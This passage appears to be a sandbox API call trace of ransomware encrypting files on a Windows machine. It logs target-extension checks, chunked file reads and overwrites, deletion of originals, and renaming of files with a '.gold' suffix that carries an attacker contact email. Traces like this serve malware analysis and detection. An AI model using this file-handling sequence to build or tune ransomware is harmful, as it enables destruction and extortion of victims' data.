Files\\Microsoft Shared\\ink\\ipssrl.xml") returned 61 [0036.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml") returned 61 [0036.406] lstrlenW (lpString=".doc") returned 4 [0036.406] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.406] lstrlenW (lpString=".docx") returned 5 [0036.406] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0036.406] lstrlenW (lpString=".pdf") returned 4 [0036.406] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.406] lstrlenW (lpString=".xls") returned 4 [0036.406] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.407] lstrlenW (lpString=".xlsx") returned 5 [0036.407] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0036.407] lstrlenW (lpString=".ppt") returned 4 [0036.407] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml") returned 61 [0036.407] lstrlenW (lpString=".zip") returned 4 [0036.407] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.407] lstrlenW (lpString=".rar") returned 4 [0036.407] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.407] lstrlenW (lpString=".bz2") returned 4 [0036.407] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.407] lstrlenW (lpString=".7z") returned 3 [0036.407] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml") returned 61 [0036.407] lstrlenW (lpString=".dbf") returned 4 [0036.407] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml") returned 61 [0036.407] lstrlenW (lpString=".1cd") returned 4 [0036.407] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml") returned 61 [0036.407] lstrlenW (lpString=".jpg") returned 4 [0036.407] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.407] lstrcmpiW (lpString1=".xml", lpString2=".gold") returned 1 [0036.407] lstrlenW (lpString="ipssve.xml") returned 10 [0036.407] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0036.408] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=2520) returned 1 [0036.408] CloseHandle (hObject=0x1a4) returned 1 [0036.408] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml")) returned 0x20 [0036.408] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0036.408] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0036.408] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml") returned 61 [0036.408] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml") returned 61 [0036.408] lstrlenW (lpString=".doc") returned 4 [0036.408] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.408] lstrlenW (lpString=".docx") returned 5 [0036.408] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0036.408] lstrlenW (lpString=".pdf") returned 4 [0036.408] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.408] lstrlenW (lpString=".xls") returned 4 [0036.408] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.408] lstrlenW (lpString=".xlsx") returned 5 [0036.408] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0036.408] lstrlenW (lpString=".ppt") returned 4 [0036.408] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.408] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml") returned 61 [0036.408] lstrlenW (lpString=".zip") returned 4 [0036.408] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.408] lstrlenW (lpString=".rar") returned 4 [0036.408] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.408] lstrlenW (lpString=".bz2") returned 4 [0036.408] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.408] lstrlenW (lpString=".7z") returned 3 [0036.408] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.408] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml") returned 61 [0036.408] lstrlenW (lpString=".dbf") returned 4 [0036.408] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.409] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml") returned 61 [0036.409] lstrlenW (lpString=".1cd") returned 4 [0036.409] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.409] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml") returned 61 [0036.409] lstrlenW (lpString=".jpg") returned 4 [0036.409] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.409] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml") returned 61 [0036.409] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml") returned 61 [0036.409] lstrlenW (lpString=".doc") returned 4 [0036.409] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0036.409] lstrlenW (lpString=".docx") returned 5 [0036.409] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0036.409] lstrlenW (lpString=".pdf") returned 4 [0036.409] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0036.409] lstrlenW (lpString=".xls") returned 4 [0036.409] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0036.409] lstrlenW (lpString=".xlsx") returned 5 [0036.409] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0036.409] lstrlenW (lpString=".ppt") returned 4 [0036.409] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0036.409] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml") returned 61 [0036.409] lstrlenW (lpString=".zip") returned 4 [0036.409] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0036.409] lstrlenW (lpString=".rar") returned 4 [0036.409] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0036.409] lstrlenW (lpString=".bz2") returned 4 [0036.409] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0036.409] lstrlenW (lpString=".7z") returned 3 [0036.409] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0036.409] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml") returned 61 [0036.409] lstrlenW (lpString=".dbf") returned 4 [0036.409] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0036.409] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml") returned 61 [0036.409] lstrlenW (lpString=".1cd") returned 4 [0036.409] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0036.409] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml") returned 61 [0036.409] lstrlenW (lpString=".jpg") returned 4 [0036.409] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0036.409] lstrcmpiW (lpString1=".CHM", lpString2=".gold") returned -1 [0036.409] lstrlenW (lpString="ADO210.CHM") returned 10 [0036.410] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0036.410] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=1680383) returned 1 [0036.410] CloseHandle (hObject=0x1a4) returned 1 [0036.410] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm")) returned 0x20 [0036.410] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0036.411] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm.id-9c354b42.[goldmind@tuta.io].gold")) returned 1 [0036.411] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0036.411] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fc6c | out: lpNewFilePointer=0x0) returned 1 [0036.411] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fc2c | out: lpNewFilePointer=0x0) returned 1 [0036.411] ReadFile (in: hFile=0x1a4, lpBuffer=0x3c90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x316fc38, lpOverlapped=0x0 | out: lpBuffer=0x3c90058*, lpNumberOfBytesRead=0x316fc38*=0x40000, lpOverlapped=0x0) returned 1 [0036.414] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x88bff, lpNewFilePointer=0x0, dwMoveMethod=0x316fc2c | out: lpNewFilePointer=0x0) returned 1 [0036.414] ReadFile (in: hFile=0x1a4, lpBuffer=0x3cd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x316fc38, lpOverlapped=0x0 | out: lpBuffer=0x3cd0058*, lpNumberOfBytesRead=0x316fc38*=0x40000, lpOverlapped=0x0) returned 1 [0036.425] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x316fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0036.425] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x15a3ff, lpNewFilePointer=0x0, dwMoveMethod=0x316fc2c | out: lpNewFilePointer=0x0) returned 1 [0036.425] ReadFile (in: hFile=0x1a4, lpBuffer=0x3d10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x316fc38, lpOverlapped=0x0 | out: lpBuffer=0x3d10058*, lpNumberOfBytesRead=0x316fc38*=0x40000, lpOverlapped=0x0) returned 1 [0036.441] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0036.441] WriteFile (in: hFile=0x1a4, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x316fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0036.741] SetEndOfFile (hFile=0x1a4) returned 1 [0036.741] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x40000) returned 0x3f44098 [0036.744] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fc7c | out: lpNewFilePointer=0x0) returned 1 [0036.744] WriteFile (in: hFile=0x1a4, lpBuffer=0x3f44098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x316fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f44098*, lpNumberOfBytesWritten=0x316fc88*=0x40000, lpOverlapped=0x0) returned 1 [0036.745] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x88bff, lpNewFilePointer=0x0, dwMoveMethod=0x316fc7c | out: lpNewFilePointer=0x0) returned 1 [0036.745] WriteFile (in: hFile=0x1a4, lpBuffer=0x3f44098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x316fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f44098*, lpNumberOfBytesWritten=0x316fc88*=0x40000, lpOverlapped=0x0) returned 1 [0036.747] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x15a3ff, lpNewFilePointer=0x0, dwMoveMethod=0x316fc7c | out: lpNewFilePointer=0x0) returned 1 [0036.747] WriteFile (in: hFile=0x1a4, lpBuffer=0x3f44098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x316fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f44098*, lpNumberOfBytesWritten=0x316fc88*=0x40000, lpOverlapped=0x0) returned 1 [0036.748] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x3f44098 | out: hHeap=0x880000) returned 1 [0036.748] CloseHandle (hObject=0x1a4) returned 1 [0037.040] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0037.041] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0037.041] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0037.041] lstrlenW (lpString=".doc") returned 4 [0037.041] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0037.041] lstrlenW (lpString=".docx") returned 5 [0037.041] lstrcmpiW (lpString1=".docx", lpString2="0.CHM") returned -1 [0037.041] lstrlenW (lpString=".pdf") returned 4 [0037.041] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0037.041] lstrlenW (lpString=".xls") returned 4 [0037.041] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0037.041] lstrlenW (lpString=".xlsx") returned 5 [0037.041] lstrcmpiW (lpString1=".xlsx", lpString2="0.CHM") returned -1 [0037.041] lstrlenW (lpString=".ppt") returned 4 [0037.041] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0037.041] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0037.041] lstrlenW (lpString=".zip") returned 4 [0037.041] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0037.041] lstrlenW (lpString=".rar") returned 4 [0037.041] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0037.041] lstrlenW (lpString=".bz2") returned 4 [0037.041] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0037.041] lstrlenW (lpString=".7z") returned 3 [0037.041] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0037.041] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0037.041] lstrlenW (lpString=".dbf") returned 4 [0037.042] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0037.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0037.042] lstrlenW (lpString=".1cd") returned 4 [0037.042] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0037.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0037.042] lstrlenW (lpString=".jpg") returned 4 [0037.042] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0037.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0037.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0037.042] lstrlenW (lpString=".doc") returned 4 [0037.042] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0037.042] lstrlenW (lpString=".docx") returned 5 [0037.042] lstrcmpiW (lpString1=".docx", lpString2="0.CHM") returned -1 [0037.042] lstrlenW (lpString=".pdf") returned 4 [0037.042] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0037.042] lstrlenW (lpString=".xls") returned 4 [0037.042] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0037.042] lstrlenW (lpString=".xlsx") returned 5 [0037.042] lstrcmpiW (lpString1=".xlsx", lpString2="0.CHM") returned -1 [0037.042] lstrlenW (lpString=".ppt") returned 4 [0037.042] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0037.042] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0037.072] lstrlenW (lpString=".zip") returned 4 [0037.072] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0037.072] lstrlenW (lpString=".rar") returned 4 [0037.072] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0037.073] lstrlenW (lpString=".bz2") returned 4 [0037.073] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0037.073] lstrlenW (lpString=".7z") returned 3 [0037.073] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0037.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0037.073] lstrlenW (lpString=".dbf") returned 4 [0037.073] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0037.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0037.073] lstrlenW (lpString=".1cd") returned 4 [0037.073] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0037.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM") returned 71 [0037.073] lstrlenW (lpString=".jpg") returned 4 [0037.073] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0037.073] lstrcmpiW (lpString1=".CHM", lpString2=".gold") returned -1 [0037.073] lstrlenW (lpString="OCT.CHM") returned 7 [0037.073] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0037.407] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x316ff1c | out: lpFileSize=0x316ff1c*=71236) returned 1 [0037.414] CloseHandle (hObject=0x1ec) returned 1 [0037.414] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm")) returned 0x20 [0037.414] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0037.430] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0037.430] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.430] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.430] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0037.620] GetLastError () returned 0x0 [0037.620] ReadFile (in: hFile=0x1e4, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x11644, lpOverlapped=0x0) returned 1 [0037.623] WriteFile (in: hFile=0x1e8, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0x11650, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0x11650, lpOverlapped=0x0) returned 1 [0037.625] ReadFile (in: hFile=0x1e4, lpBuffer=0x3c90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x316fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesRead=0x316fed4*=0x0, lpOverlapped=0x0) returned 1 [0037.625] WriteFile (in: hFile=0x1e8, lpBuffer=0x3c90020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x316fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c90020*, lpNumberOfBytesWritten=0x316fc9c*=0xe2, lpOverlapped=0x0) returned 1 [0037.626] SetEndOfFile (hFile=0x1e8) returned 1 [0037.626] CloseHandle (hObject=0x1e8) returned 1 [0037.627] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x316fec8 | out: lpNewFilePointer=0x0) returned 1 [0037.627] SetEndOfFile (hFile=0x1e4) returned 1 [0037.628] CloseHandle (hObject=0x1e4) returned 1 [0037.628] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0037.628] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm")) returned 1 [0037.628] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0037.628] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0037.628] lstrlenW (lpString=".doc") returned 4 [0037.628] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0037.628] lstrlenW (lpString=".docx") returned 5 [0037.628] lstrcmpiW (lpString1=".docx", lpString2="T.CHM") returned -1 [0037.629] lstrlenW (lpString=".pdf") returned 4 [0037.629] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0037.629] lstrlenW (lpString=".xls") returned 4 [0037.629] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0037.629] lstrlenW (lpString=".xlsx") returned 5 [0037.629] lstrcmpiW (lpString1=".xlsx", lpString2="T.CHM") returned -1 [0037.629] lstrlenW (lpString=".ppt") returned 4 [0037.629] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0037.629] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0037.629] lstrlenW (lpString=".zip") returned 4 [0037.629] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0037.629] lstrlenW (lpString=".rar") returned 4 [0037.629] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0037.629] lstrlenW (lpString=".bz2") returned 4 [0037.629] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0037.629] lstrlenW (lpString=".7z") returned 3 [0037.629] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0037.629] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0037.629] lstrlenW (lpString=".dbf") returned 4 [0037.629] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0037.629] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0037.629] lstrlenW (lpString=".1cd") returned 4 [0037.629] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0037.629] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0037.629] lstrlenW (lpString=".jpg") returned 4 [0037.629] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0037.629] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0037.629] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0037.629] lstrlenW (lpString=".doc") returned 4 [0037.629] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0037.629] lstrlenW (lpString=".docx") returned 5 [0037.629] lstrcmpiW (lpString1=".docx", lpString2="T.CHM") returned -1 [0037.629] lstrlenW (lpString=".pdf") returned 4 [0037.629] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0037.629] lstrlenW (lpString=".xls") returned 4 [0037.629] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0037.629] lstrlenW (lpString=".xlsx") returned 5 [0037.629] lstrcmpiW (lpString1=".xlsx", lpString2="T.CHM") returned -1 [0037.629] lstrlenW (lpString=".ppt") returned 4 [0037.629] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0037.629] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0037.629] lstrlenW (lpString=".zip") returned 4 [0037.629] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0037.629] lstrlenW (lpString=".rar") returned 4 [0037.629] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0037.629] lstrlenW (lpString=".bz2") returned 4 [0037.629] 